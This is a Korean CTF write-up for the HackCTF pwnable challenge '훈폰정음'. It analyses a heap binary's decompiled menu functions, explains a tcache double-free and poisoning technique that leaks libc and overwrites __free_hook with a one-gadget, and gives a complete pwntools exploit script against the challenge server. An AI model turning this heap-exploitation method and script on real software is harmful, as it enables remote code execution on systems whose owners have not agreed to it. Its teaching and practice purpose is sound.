tmxklab

[HackCTF/Pwnable] 훈폰정음 본문

War Game/HackCTF

[HackCTF/Pwnable] 훈폰정음

tmxk4221 2020. 8. 27. 16:14

tcache개념을 공부하고 처음 tcache관련 문제를 풀어보았다. tcache에서 DFB를 포함한 여러 오류 검증 코드가 빠져있어 exploit이 쉬운 것 같다.

 

해당 문제는 tcache poisoning공격 기법을 사용하여 풀었다.

 


1. 문제

nc ctf.j0n9hyun.xyz 3041

 

1) mitigation 확인

  • 이번엔 mitigation이 모두 걸려있다.

 

2) 문제 확인

  • 메뉴가 총 5개가 보인다. (추가, 수정, 삭제, 확인, 종료)

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  alarm(0x3Cu);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts(asc_11C0);
  while ( 1 )
  {
    switch ( (unsigned int)menu() )
    {
      case 1u:
        add();
        break;
      case 2u:
        edit();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        check();
        break;
      case 5u:
        exit(0);
        return;
      default:
        puts(&byte_11FB);
        break;
    }
  }
}
  • 총 5개의 메뉴가 보이며 switch문에 해당하는 값이 아닌 다른 값을 입력하면 특정 문자열이 출력된다.

 

3-2) add()

int add()
{
  int result; // eax
  int v1; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth();
  v1 = result;
  while ( v1 >= 0 && v1 <= 6 )
  {
    if ( table[v1] )
      return puts(&byte_1018);
    puts(&byte_1042);
    size[v1] = smooth();
    if ( (size[v1] & 0x80000000) == 0 && (int)size[v1] <= 1024 )
    {
      table[v1] = malloc((int)size[v1]);
      if ( !table[v1] )
        return puts(&byte_107F);
      puts(&byte_1098);
      return get_read(table[v1], size[v1]);
    }
    result = puts(&byte_1060);
  }
  return result;
}
  • smooth()를 통해 입력 값을 받아(총 32bytes까지 받을 수 있음) table의 인덱스 값을 결정한다.
  • 인덱스 값을 v1에 받아서 v1이 0보다 크거나 같고 6보다 작거나 같으면 while문 실행
  • table[v1]에 값이 존재하면 return되고 아니면 사이즈 값을 size[v1]에 받고 size[v1]값이 0x80000000아니고 1024보다 작거나 같으면 size[v1]만큼 malloc한다.
  • malloc에 실패하면 return되고 성공하면 table[v1]에 size[v1]만큼 쓸 수 있다.
  • 요약 : table[v1] = malloc(size[v1]); read(0, table[v1], size[v1]);

 

3-3) edit()

int edit()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]

  puts(&byte_FF6);
  result = smooth();
  v1 = result;
  if ( result >= 0 && result <= 6 )
  {
    if ( table[result] )
    {
      puts(&byte_10D8);
      if ( (unsigned int)get_read(table[v1], size[v1]) )
        result = puts(&byte_1100);
      else
        result = puts(&byte_1119);
    }
    else
    {
      result = puts(&byte_10B8);
    }
  }
  return result;
}
  • 인덱스 값을 result변수에 받아 result가 0보다 크거나 같고 6보다 작거나 같으면 if문안의 로직 실행
  • table[result]에 값이 존재하면 read(0, table[v1], size[v1])

 

3-4) delete()

int delete()
{
  int result; // eax
  int v1; // eax
  int v2; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth();
  v2 = result;
  while ( v2 >= 0 && v2 <= 6 )
  {
    if ( !table[v2] )
      return puts(&byte_1138);
    v1 = count--;
    if ( v1 )
    {
      free((void *)table[v2]);
      return puts(&byte_1157);
    }
    result = puts(&byte_1168);
  }
  return result;
}
  • 인덱스 값을 v2로 받아 v2가 0 ~ 6범위 안에 존재하면 while문 실행
  • table[v2]에 값이 존재하지 않으면 return
  • count가 후위 연산자를 통해 v1에 대입(이 때, count는 data segment에 존재하며 5로 초기화되어 있다.)
  • v1값이 0이 아니면 free(table[v2])하고 return
  • 근데 free하고 나서 table전역변수에 널 값을 넣지 않아 청크의 주소 남아있으므로 DFB가능 → 추가로 edit부분에서 table[index]에 값이 존재하면 값을 쓸 수 있으므로 free된 청크의 주소가 남아있으므로 주소 값 변경도 가능

 

3-5) check()

int check()
{
  int result; // eax

  puts(&byte_FF6);
  result = smooth();
  if ( result >= 0 && result <= 6 )
  {
    if ( table[result] )
      result = printf(&byte_119C, table[result]);
    else
      result = puts(&byte_1138);
  }
  return result;
}
  • 인덱스 값을 result로 받아 0 ~ 6 범위에 만족하고 table[result]에 값이 존재하면 table[result]를 출력

 

전역변수)

  • size : 0x202060
  • table : 0x202080

 

data segment에 존재하는 변수)

  • count : 0x202010

 

정리)

add()

  • index가 0 ~ 6범위에 존재하고 size값이 1024보다 작거나 같으면 table[index]가 비어있는지 확인하고 table[index] = malloc(size[index]); read(0, table[index], size[index])를 실행한다.

edit()

  • index가 0 ~ 6범위에 존재하고 table[index]가 존재하면 read(0, table[v1], size[v1]) 실행

delete()

  • index가 0 ~ 6범위에 존재하고 table[index]가 존재하면 free(table[index]), 이 때, count변수를 통해 free횟수 5회로 제한

check()

  • index가 0 ~ 6 범위에 존재하고 table[index]가 존재하면 table[index]값 출력

 


2. 접근방법

 

코드 분석을 통해 우리가 알 수 있는 사실은 다음과 같다.

  • 할당받을 수 있는 청크의 개수는 총 7개로 제한되어 있다. (0~6)
  • 할당 사이즈의 최대 크기는 1024byte로 제한되어 있다.
  • free시킬 수 있는 횟수를 count변수를 통해 5개로 제한되어 있는 것처럼 보이지만 while루프가 돌면 count가 -1로 진입할 때부터 다시 if문은 참이되므로 사실상 free시킬 수 있는 횟수의 제한이 없다.
  • free하고 나서도 table[index]에 널 값을 넣지 않아 free청크의 주소가 그대로 남아 있다. → 따라서, DFB가 가능하며 edit()에서 free된 청크에도 값을 쓸 수 있다.

 

tcache관련 추가 사실)

  • 해당 문제는 바이너리와 함께 libc-2.27.so라이브러리 파일을 제공해주었는데 tcache가 2.26버젼부터 지원이 되므로 해당 문제 또한 tcache가 적용되어 있다.
  • tcache에서 bin의 갯수는 총 64개를 가지며 각 bin마다 최대 7개의 free 청크를 가진다. 이후에 tcache에 들어가지 못 할 경우 각자 청크 크기에 맞는 bin에 들어간다.
  • 64bit system 기준 tcache의 청크 사이즈 범위는 24 ~ 1032byte이다.
  • tcache는 다른 bin과 다르게 arena에 존재하지 않는다.

참고 자료 : 

 

heap(5) - tcache 정리

1. tcache란? tcache(Thread local Caching)란 멀티 스레드 환경에서 메모리 할당속도를 높이기 위해 glibc 2.26버젼 이상부터 생겨난 기술이다. 이전에 멀티 스레드 환경에서 Arena라는 개념을 도입하여 각 스�

rninche01.tistory.com

 

1) libc leak

위 내용을 바탕대로 하면 할당된 크기의 개수 제한(~1024byte)때문에 free해도 tcache에 밖에 들어가지 않고 tcache는 arena에 존재하지 않으므로 libc를 leak할 수 없다.

 

사이즈의 제한으로 tcache에 들어가므로 fd에는 libc주소가 존재하지 않는다.

만약, 다른 bin으로 변경이 가능하면 libc주소를 leak할 수 있을 것이다.

 

따라서, DFB를 이용하여 tcache의 크기를 조정함으로써 다른 bin에 들어갈 수 있도록 해준다.

 

1-1) DFB - 1개의 청크를 2번 free했을 때

  • fd가 서로 가르키고 있다. 참고로 tcache는 fastbin과 거의 비슷하게 LIFO방식이며 single linked list구조를 가진다.
  • table변수에는 그대로 free 청크의 주소가 남아있으므로 edit가 가능하다. → fd값을 변경할 수 있다.

 

1-2) tcache fd, size 변경

  • edit()를 이용하여 tcache의 fd값을 0x8만큼 빼서 size부분의 주소를 가리키게 하였다.
  • tcache_entry를 보면 다음 재할당되는데 사용되는 청크는 0x55711d5ba260이고 2번째로 0x55711d5ba258이다.
  • 따라서, 2번째로 재할당되는 청크를 이용하여 size값을 조정할 수 있다.

  • 2번의 재할당을 마치고 난 상황이다.
  • 2번째 재할당할 때 size값을 0x421로 변경하였다. → tcache의 범위가 1032byte이므로

 

다음 청크를 생성하기 위해 0x400만큼 malloc을 하기 전에 주의해야할 점이 있다. 그렇다. Top Chunk간의 offset을 맞춰줘야 한다.

  • 위와 같이 0x400만큼 할당을 요청하면 Top Chunk에서 떼어 주게 될 것이다. 할당하는 데는 문제가 없지만 우리의 목표는 저 table[0]에 존재하는 저 맨 위에 있는 0x420크기의 청크를 free하는 것이다.
  • 하지만, 저 상태에서 0x420크기의 청크를 free하게 되면 다음 인접한 청크를 체크할 것이다.
  • 그러면 0x55e6fe748250 ~ 0x55e6fe748660까지가 0x420크기이므로 그 다음 0x55e6fe748670을 확인해보면

  • 그렇다 아무것도 없다. 다만, 다음 0x10다음에 Top Chunk만 존재한다.
  • 따라서, 이러한 상황에서 free를 하게되면 에러가 발생하므로 0x55e6fe748670에 0x10크기의 가상의 청크를 만들어주자
  • 만드는 방법은 간단하다. 아까 0x400만큼 malloc할 때 Top Chunk에서 떼어줬으므로 해당 주소까지 참조가능하다. 따라서 저 주소에 0x11값을 써주면 된다.

  • 정상적으로 0x420청크의 다음 청크의 크기가 0x10으로 인식하고 있다.

 

1-3) free(table[0])

  • tcache의 범위를 넘어서므로 먼저 unsorted bin에 들어가게 된다.
  • fd, bk에는 main_arena의 주소 값이 들어있다.

 

1-4) libc leak

  • 그리고 table에 free된 청크의 주소가 그대로 남아있으므로 table[0]을 출력할 수 있고 해당 청크를 출력하게 되면 fd값이 남아있어 그대로 main_arena의 주소 값이 출력된다.

 

libc주소를 leak하였으므로 그 다음 공격하는 것은 위에서 DFB를 이용하여 free_hook에 원샷 가젯을 넣으면 된다.

 

공격 프로세스)

  • DFB를 이용하여 tcache의 청크 사이즈를 변경 → 0x421
  • 0x420크기의 청크를 free하면 unsorted bin에 들어가므로 그대로 check함수에서 해당 청크를 printf하면 main_arena의 주소를 leak할 수 있다.
  • libc주소를 알아내어 free_hook주소와 원샷 가젯 주소를 알아낸다.
  • 다시 DFB를 이용하여 free_hook에 원샷 가젯을 넣는다.
  • 마지막으로 free를 하면서 쉘을 따낼 수 있다.

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./hoonporn")
p = remote("ctf.j0n9hyun.xyz", 3041)

libc = ELF("/home/cmc/Desktop/lib_hack/libc-2.27.so")
#oneshot_offset = 0x4f2c5
oneshot_offset = 0x4f322
#oneshot_offset = 0x10a38c


#gdb.attach(p)

def add(idx, length, data):
    p.sendlineafter(">> ", str(1))
    p.sendlineafter(":\n", str(idx))
    p.sendlineafter(":\n", str(length))
    p.sendafter(":\n", data)

def edit(idx, data):
    p.sendlineafter(">> ", str(2))
    p.sendlineafter(":\n", str(idx))
    p.sendafter(":\n", data)

def delete(idx):
    p.sendlineafter(">> ", str(3))
    p.sendlineafter(":\n", str(idx))

def check(idx):
    p.sendlineafter(">> ", str(4))
    p.sendlineafter(":\n", str(idx))

add(0, 0x18, "A"*8)

# 1. DFB 
delete(0)
delete(0)

check(0)

p.recvuntil(":")
chunk_addr = u64(p.recv(6).ljust(8, '\x00'))
log.info("chunk_addr : "+hex(chunk_addr))

edit(0, p64(chunk_addr - 0x8))

# 2. change tcache size -> 0x421
add(1, 0x18, "B")
add(2, 0x18, p16(0x421))
add(3, 0x400, p64(0x11)*(0x400/8))

# 3. input chunk at unsorted bin
delete(0)

# 4. leak main_arena address
check(0)

leak_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
malloc_hook = leak_addr - 0x70
libc_base = malloc_hook - libc.symbols['__malloc_hook'] 
free_hook = libc_base + libc.symbols['__free_hook']
oneshot_addr = libc_base + oneshot_offset

log.info("libc_base      : " + hex(libc_base))
log.info("free_hook      : " + hex(free_hook))
log.info("oneshot_addr   : " + hex(oneshot_addr))

pause()

# 5. DFB
add(4, 0x20, "c")

delete(4)
delete(4)

# 6. change tcache fd 
edit(4, p64(free_hook))

# 7. Input free_hook > oneshot
add(5, 0x20, "D")
add(6, 0x20, p64(oneshot_addr))

# oneshot!
delete(5)

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

 

위에서 공격했던 것처럼 tcache의 fd값을 조작하여 공격자가 원하는 곳에 할당하도록 하는 공격이tcache poisoning이라고 한다.

 

이전에 heap문제를 풀 때 free를 연속으로 하면 error가 발생하면서 "double free or corruption"이 뜨고 그랬는데 tcache에서는 전혀 그런게 없었다.

→ 참고로 동일한 청크 연속으로 free시키면 DFB가 발생하여 malloc이 호출되서 __malloc_hook에 가젯 넣고 풀었음

참고 : https://rninche01.tistory.com/entry/HackCTFPwnable-babyheap

 

+) 2.29 이후에는 dfb오류를 검증하도록하여 막아놨다고 한다.

 

 

참고자료 :

 

 

 

 

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/reversing] Static  (0) 2021.01.14
[HackCTF/reversing] BabyMIPS  (0) 2021.01.14
[HackCTF/Pwnable] AdultFSB  (0) 2020.08.20
[HackCTF/Pwnable] Unexploitable #4  (0) 2020.08.15
[HackCTF/Pwnable] ChildFSB  (2) 2020.08.15
Comments